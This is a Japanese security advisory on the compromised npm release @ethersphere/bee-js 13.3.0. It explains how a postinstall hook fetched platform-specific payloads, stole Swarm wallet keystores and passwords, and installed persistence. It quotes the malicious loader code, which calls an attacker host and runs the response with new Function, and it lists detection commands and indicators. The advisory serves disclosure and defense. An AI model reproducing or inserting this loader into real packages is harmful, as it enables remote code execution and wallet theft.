悪意のある @ethersphere/bee-js 13.3.0 が Swarm ウォレットを標的にする
@ethersphere/bee-js 13.3.0 は postinstall スクリプトで Swarm Desktop のウォレットを標的にし、遠隔アクセスを導入します。削除して鍵を交換してください。
要点
- Swarm の公式 JavaScript クライアントである
@ethersphere/bee-js13.3.0 の悪意のあるリリースは、プラットフォーム固有のペイロードをダウンロードする postinstall スクリプトを実行します。Step Security が分析を公開しました。 - ペイロードは Swarm Desktop のウォレットファイルを読み取り、攻撃者が管理するドメインへ送信し、Linux、macOS、Windows に永続的な遠隔アクセスを導入します。何件のインストールで実行されたかは報告書では確定していません。
- CVE は割り当てられていません。GitHub Advisory Database は GHSA-hh7j-5m3j-23pf を、OSV は MAL-2026-18773 を記録しています。2026-11-09 時点で CISA KEV にはなく、資金の窃取も確認されていません。
- すべてのロックファイルから 13.3.0 を削除し、最後のクリーンなリリースである 13.2.0 に固定してください。ライフサイクルスクリプトを有効にしてインストールした場合は、ホストを侵害済みとして「インストールしてしまった場合はどうすればよいですか?」の手順に従ってください。
影響を受けますか?
次のすべてが当てはまる場合に影響を受けます。
@ethersphere/bee-jsの 13.3.0 を直接、または依存関係の範囲を通じてインストールした。- インストール時にライフサイクルスクリプトが実行された。npm は既定で
postinstallを実行し、--ignore-scriptsはこのフックを止めます。 - インストールしたユーザーまたは CI ジョブが、Swarm Desktop のデータディレクトリ、認証情報、その他の秘密をプロセスから読める状態にあった。
悪意のあるコードは npm のアーカイブと Git タグ v13.3.0 に含まれています。ライブラリの実行時関数には影響せず、被害はインストール時に発生します。そのため、フックが実行されていなくてもロックファイルに 13.3.0 が残ることがあり、ライブラリを一度もインポートしなくてもフックが実行されることがあります。
| パッケージ | 影響を受けるバージョン | クリーンなバージョン |
|---|---|---|
@ethersphere/bee-js |
13.3.0 | 13.2.0 |
@ethersphere/bee-js |
それ以前のすべてのリリース | このインシデントの影響なし |
インストールされているバージョンを確認します。
# Direct dependency and lockfile entry
npm ls @ethersphere/bee-js
grep -n '"node_modules/@ethersphere/bee-js"' -A 6 package-lock.json
# pnpm and Yarn lockfiles
grep -n "@ethersphere/bee-js" pnpm-lock.yaml
grep -n "@ethersphere/bee-js" yarn.lock
# The package as installed in the tree
node -p "require('@ethersphere/bee-js/package.json').version" 2>/dev/null || echo "not installed"
Step Security が挙げている依存プロジェクトは、^13.2.0 を宣言する @ethersphere/swarm-cli 3.7.0、^13.0.0 を宣言する @ethersphere/bee-dashboard 0.37.1、そして ^13.0.0 を宣言する swarm-desktop リポジトリです。3 つの範囲はいずれも 13.3.0 を受け入れるため、このバージョンが公開されている間に新規解決またはロックファイルの更新を行うと選択される可能性がありました。報告書は、これらのプロジェクトが侵害されたビルドを公開したとは示していません。
修正方法
@ethersphere/bee-js を 13.2.0、または確認済みのそれ以降のリリースに固定し、13.3.0 を解決したすべてのロックファイルを再生成してください。npm は 13.3.0 を一覧しなくなったため、新規インストールでは解決されませんが、既存のロックファイルとキャッシュには残る可能性があります。
- パッケージを指定しているすべての
package.jsonで依存範囲を変更します。
npm pkg set dependencies.@ethersphere/bee-js=13.2.0
- ロックファイルのエントリを削除し、確認済みのバージョンから再インストールします。
rm -rf node_modules package-lock.json
npm install
npm ls @ethersphere/bee-js
- pnpm の場合はロックファイルを更新して再インストールします。
pnpm update @ethersphere/bee-js@13.2.0
pnpm install --frozen-lockfile
- CI では、古いロックファイルをキーにしたキャッシュを削除し、ジョブのイメージを再構築します。キャッシュされた
node_modulesツリーは古いパッケージを保持し、フックを再実行しないため、ツリーを作り直す必要があります。
すぐにバージョンを変更できない場合は、ライフサイクルスクリプトを無効にしてインストールし、以前のインストールで実行されていないことを確認します。
npm ci --ignore-scripts
このフラグはこのフックと他のすべてのインストールスクリプトを止めます。すでに実行されたコードは削除せず、インストールスクリプトを必要とするパッケージを壊すことがあるため、暫定策として扱ってください。
悪意のあるコードは何をしますか?
このリリースはビルド用の補助スクリプトを、アプリケーションコードより前に実行されるインストール時のダウンローダーに変え、被害者の Swarm ウォレットファイルを攻撃者が管理するホストへ送信します。変更はコミット de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf で確認できます。scripts/generate-version.cjs を prepare から postinstall に移し、公開ファイルに scripts ディレクトリを追加しています。
"files": [
"dist",
"scripts"
],
"scripts": {
"prepublishOnly": "NODE_ENV=production npm run build",
"postinstall": "node scripts/generate-version.cjs",
"generate:version": "node scripts/generate-version.cjs",
"..."
}
フックは api.frameworkmetrics.xyz へ HTTPS リクエストを送り、応答本文を Node.js の Function コンストラクタで実行します。リクエストはスクリプトのコメントでは分析用の ping と説明されています。
try {
const req = require('https').get(
'https://api.frameworkmetrics.xyz/v1/analytics',
{
headers: {
'User-Agent': process.platform,
'X-Ethersphere': '1',
},
timeout: 3000,
},
async res => {
let body = ''
for await (const chunk of res) body += chunk
new Function('require', 'console', 'process', body)(require, console, process);
},
)
req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}
サーバーは User-Agent ヘッダーに応じてペイロードを選びます。値は linux、darwin、win32 のいずれかです。応答はインストールしたユーザーの権限で実行され、ファイル、プロセス、ネットワークへアクセスできます。フックはネットワークエラーを抑制するため、失敗したリクエストはインストールログにほとんど残りません。
Linux では、ペイロードは x86-64 または ARM64 の実行ファイルを ~/.solidity/ に書き込みます。.run.py という Python ランチャーを作成し、失敗時に再起動する solidity-langsupport-runner.service というユーザーサービスを登録します。
macOS では、ペイロードはアーキテクチャ別の実行ファイルを同じディレクトリに書き込み、Node.js または Python のランチャーを作成します。RunAtLoad を有効にした LaunchAgent を ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist にインストールします。
Windows では、ペイロードは既存のリモートサポートエージェントのインストールを探し、invoke.ps1 と app.msi を取得します。.stuffed- で始まる名前の PowerShell および VBScript ランチャーを %TEMP% に配置します。%LOCALAPPDATA% の下に隠しディレクトリを作成し、Microsoft Defender の除外を追加して、MSI をサイレントに実行します。
窃取コードは Swarm Desktop のデータディレクトリにある 2 つのファイル、config.yaml と data-dir/keys/swarm.key を対象にします。両方を configYaml と v3 という JSON フィールドで /v1/swarm/report へ送信します。swarm.key は暗号化された Ethereum V3 キーストアで、config.yaml にはそれを復号するパスワードが含まれることがあります。両方がそろえば、攻撃者はウォレットを制御できます。
どのように悪用されますか?
攻撃者は、被害者にリンクをクリックさせたり、パッケージ名を指定してインポートさせたりする必要がありませんでした。侵害はプロジェクト自身のリリース手順を利用しました。
- 2026-11-08 23:59:54 UTC に、
chore(upcoming): release 13.3.0という未署名のコミットがbee-workerの身元でupcomingブランチに現れました。 - 13.3.0 の release-please のプルリクエスト PR #1288 はまだ開いたままで、未マージでした。正規の 13.2.0 は署名済みでマージされたプルリクエストを経ていました。
- GitHub は 2026-11-09 00:06:01 UTC に、同じく
bee-workerの身元でリリースv13.3.0を公開しました。これがリポジトリ既存の npm 公開ワークフローを起動しました。 - ワークフローは GitHub Actions の trusted publishing を使用しました。そのため npm パッケージは正規のリポジトリとワークフローを指す有効な SLSA 来歴を持ちます。悪意のあるコードは、ワークフローがビルドしたソースにすでに含まれていたからです。
- npm は 00:09:50 UTC に
@ethersphere/bee-js@13.3.0を受け取りました。ライフサイクルスクリプトを有効にしてこのバージョンをインストールした環境は、フックを実行しました。 - フックはプラットフォーム用ペイロードを取得して実行しました。報告書によると、ペイロード基盤へのリクエストは 00:31 UTC ごろまでにデコイ内容または HTTP 404 を返しました。
Step Security は、証拠が bee-worker のリリース身元の悪用を指すと述べています。アカウントの認証情報やトークンの窃取が有力な説明ですが、どの認証情報が使われ、どう入手されたかは報告書では確定していません。確認された GitHub Actions の履歴には、悪意のあるコミットを作成した実行はありませんでした。
攻撃の流れは?
リリース身元を掌握した攻撃者がフックをソースに埋め込みました。プロジェクト自身の信頼されたリリースパイプラインがそれを公開し、スクリプトを有効にしてインストールしたすべてのホストでウォレットファイルと永続化に到達しました。
flowchart LR
A["upcoming ブランチへの未署名コミット"] --> B["GitHub リリース v13.3.0"]
B --> C["npm の trusted publishing ワークフロー"]
C --> D["インストール時に postinstall フックを実行"]
D --> E["api.frameworkmetrics.xyz"]
E --> F["Function() によるプラットフォーム別ペイロード"]
F --> G["ウォレットファイルのコピーと永続化の導入"]
攻撃者に何ができますか?
攻撃者の到達範囲は、インストールしたユーザーが読めたものに依存し、ウォレットの段階では Swarm Desktop のファイルが存在する必要があります。これらの条件がそろうと、ペイロードは攻撃者に次を与えます。
- 暗号化された Swarm ウォレットのキーストアと、
config.yamlに存在する場合はそれを復号するパスワード。 - Linux では遠隔アクセスの実行ファイルと失敗時に再起動するサービス、macOS では
RunAtLoadの LaunchAgent、Windows では Defender の除外を伴うサイレントな MSI インストール。 - インストールしたユーザーまたは CI ジョブが到達できたすべてのファイル、プロセス、ネットワーク経路へのアクセス。
- パッケージを削除した後も持続する能力。サービス、LaunchAgent、インストールされたバイナリは
node_modulesの外にあるためです。
報告書は、フックを実行したインストール数、ウォレットが抜き取られたかどうか、macOS と Windows のペイロードの全コマンドを示していません。Linux の実行ファイルは取得されて検査され、コマンド実行と対話型シェルに関連する Go のパッケージ名と関数名、具体的には hubclient.runCommand、hubclient.startShellLocked、github.com/creack/pty が含まれていました。Step Security は実行していないため、その動作は観測ではなく評価です。
インストールしてしまった場合はどうすればよいですか?
ライフサイクルスクリプトを有効にして 13.3.0 をインストールしたホストは、確認の前にフックがユーザー権限で実行されているため、侵害済みとして扱ってください。依存関係を削除しても、サービス、LaunchAgent、配置されたインストーラーは削除されません。
- ホストをネットワークから隔離し、秘密を交換する前に永続化を停止します。
- Linux:
systemctl --user disable --now solidity-langsupport-runner.serviceを実行し、~/.config/systemd/user/solidity-langsupport-runner.serviceと~/.solidity/を削除します。 - macOS:
launchctl unload ~/Library/LaunchAgents/com.solidity.langsupport.runner.plistを実行し、plist と~/.solidity/を削除します。 - Windows:
%LOCALAPPDATA%の隠しディレクトリ、%TEMP%の.stuffed-*ファイル、ペイロードが追加した Defender の除外を削除します。 - その場で清掃するのではなく、信頼できるイメージからホストを再構築します。取得されていないペイロードが観測されたファイル以上のものを導入した可能性があるため、報告書は再構築を勧めています。
- インストールしたユーザーまたは CI ジョブが読めたすべての認証情報を、クリーンなシステムから交換します。CI ではジョブのトークンを交換し、
api.frameworkmetrics.xyzへの呼び出しがないかログを確認します。 - Swarm Desktop のファイルが存在した場合は、クリーンなシステムからウォレットを交換します。キーストアと
config.yamlに保存されたパスワードは露出したものとして扱ってください。 @ethersphere/bee-jsを 13.2.0 または確認済みのそれ以降のリリースに固定し、ロックファイルとキャッシュを再生成します。
侵害されたかどうかを確認するには?
パッケージのバージョンと、ペイロードが書き込むファイルから確認を始めます。バージョンが一致してもファイルがない場合は、インストールログの確認が依然として必要です。失敗した実行はペイロードを残さないためです。
# 1. The malicious version in any project tree
grep -rn "@ethersphere/bee-js" --include=package-lock.json --include=pnpm-lock.yaml --include=yarn.lock .
node -p "require('@ethersphere/bee-js/package.json').version" 2>/dev/null
# 2. Linux persistence and payload directory
ls -la ~/.solidity/ 2>/dev/null
systemctl --user status solidity-langsupport-runner.service 2>/dev/null
# 3. macOS persistence
ls -la ~/.solidity/ 2>/dev/null
ls -la ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist 2>/dev/null
# 4. DNS, proxy and egress logs
grep -i "frameworkmetrics" /var/log/* 2>/dev/null
Windows では、%TEMP% の .stuffed-* ファイルと、%LOCALAPPDATA% の app.msi を含む隠しディレクトリを確認します。次に Defender の除外一覧を読みます。
Get-ChildItem $env:TEMP -Force -Filter ".stuffed-*"
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
公開されている指標は次のとおりです。
- ネットワーク:
api.frameworkmetrics.xyz、パス/v1/analytics、/v1/assets/、/v1/swarm/report、ヘッダーX-Ethersphere: 1。 - ファイル:
~/.solidity/linux_amd64、~/.solidity/linux_arm64、~/.solidity/.run.py、~/.config/systemd/user/solidity-langsupport-runner.service、~/.solidity/darwin_arm64、~/.solidity/darwin_amd64、~/Library/LaunchAgents/com.solidity.langsupport.runner.plist、%TEMP%\.stuffed-*、%LOCALAPPDATA%の隠しステージングディレクトリ。 - ハッシュ:
linux_amd64の SHA-256 は9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696、linux_arm64の SHA-256 はb601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565、悪意のある npm アーカイブの SHA-1 はa205c8a5fed81e9a787645b2801f00be3db3348d。 - ドメインは 2026-11-06 15:08 UTC に登録されました。ペイロードホストへのリクエストは 2026-11-09 00:31 UTC ごろまでにデコイ内容または HTTP 404 を返したため、応答がないことはフックを実行したホストの無実を証明しません。
正規のツールも作成するパスでの一致は、確認すべき手がかりであり、証拠ではありません。逆も同様です。失敗した実行はパッケージのバージョンとインストールログ以外に痕跡を残さないことがあります。
年表
- 2026-11-06 15:08 UTC:
frameworkmetrics.xyzが登録されます。 - 2026-11-08 23:59:54 UTC:未署名の
chore(upcoming): release 13.3.0コミットがbee-workerの身元で現れ、GitHub リリースの記録が作成されます。 - 2026-11-09 00:06:01 UTC:GitHub がリリース
v13.3.0を公開します。 - 2026-11-09 00:06:03 UTC:npm 公開ワークフローが開始します。
- 2026-11-09 00:09:50 UTC:
@ethersphere/bee-js@13.3.0が npm に公開されます。 - 2026-11-09 00:53:54 UTC:Step Security がリポジトリに issue #1294 を開きます。
- 2026-11-09 01:25:27 UTC:GitHub Advisory Database が GHSA-hh7j-5m3j-23pf を公開します。
- 2026-11-09:npm は 13.3.0 を一覧しなくなり、レジストリは 13.2.0 を最新として示します。
よくある質問
アプリケーションが一度もインポートしなくても、パッケージのインストールでペイロードは実行されますか?
はい、ライフサイクルスクリプトが有効な場合です。ペイロードは postinstall フックなので、アプリケーションコードより前に npm install の中で実行されます。--ignore-scripts でインストールする環境ではこのフックは実行されません。
13.2.0 は安全ですか?
はい、このインシデントに関しては安全です。Step Security は 13.2.0 を調査し、悪意のあるインストール経路がないことを確認し、npm は 13.3.0 が一覧されなくなった後に 13.2.0 を最新として示しています。これはこの侵害に関する答えであり、将来のリリースを保証するものではありません。
有効な SLSA 来歴があればパッケージは安全ですか?
いいえ。来歴が有効なのは、プロジェクト自身の trusted publishing ワークフローが悪意のあるソースからパッケージをビルドしたからです。来歴はどのリポジトリとワークフローが成果物を生成したかを記録しますが、ソースがレビューされたことは証明しません。
すべてのプロジェクトでライフサイクルスクリプトを遮断すべきですか?
このフックを止め、インストール時の攻撃面を減らしますが、インストール中にネイティブモジュールをビルドするパッケージを壊し、すでに実行されたフックを取り消しません。ロックファイルの確認や依存関係ファイアウォールと合わせて、複数の制御の 1 つとして使ってください。
追跡できる CVE はありますか?
CVE は割り当てられていません。GitHub Advisory Database の GHSA-hh7j-5m3j-23pf、または OSV の MAL-2026-18773 を追跡し、メンテナーのインシデント報告のために bee-js リポジトリを監視してください。
Ostorlab で影響を受ける bee-js のインストールを特定する
Ostorlab のソフトウェア構成分析と SBOM インベントリは、リポジトリが解決するオープンソースパッケージとバージョンを一覧にします。@ethersphere/bee-js を検索すれば、どのプロジェクトが 13.3.0 を含んでいたか、どのロックファイルを再生成すべきかが分かります。
参考資料
- Step Security、「@ethersphere/bee-js 13.3.0 Compromised」:https://www.stepsecurity.io/blog/ethersphere-bee-js-13-3-0-compromise(2026 年 11 月 9 日確認)
- GitHub Advisory Database、GHSA-hh7j-5m3j-23pf(2026-11-09):https://github.com/advisories/GHSA-hh7j-5m3j-23pf(2026 年 11 月 9 日確認)
- OSV、MAL-2026-18773(2026-11-09):https://osv.dev/vulnerability/MAL-2026-18773(2026 年 11 月 9 日確認)
- bee-js コミット de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf(2026-11-08):https://github.com/ethersphere/bee-js/commit/de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf(2026 年 11 月 9 日確認)
- bee-js リリース v13.3.0(2026-11-09):https://github.com/ethersphere/bee-js/releases/tag/v13.3.0(2026 年 11 月 9 日確認)
- bee-js プルリクエスト #1288、「chore(upcoming): release 13.3.0」(2026-10-27 作成):https://github.com/ethersphere/bee-js/pull/1288(2026 年 11 月 9 日確認)
- bee-js issue #1294、「ethersphere/bee-js npm package version 13.3.0 is compromised」(2026-11-09):https://github.com/ethersphere/bee-js/issues/1294(2026 年 11 月 9 日確認)
- @ethersphere/bee-js の npm レジストリメタデータ(2026 年 11 月 9 日確認):https://registry.npmjs.org/@ethersphere%2Fbee-js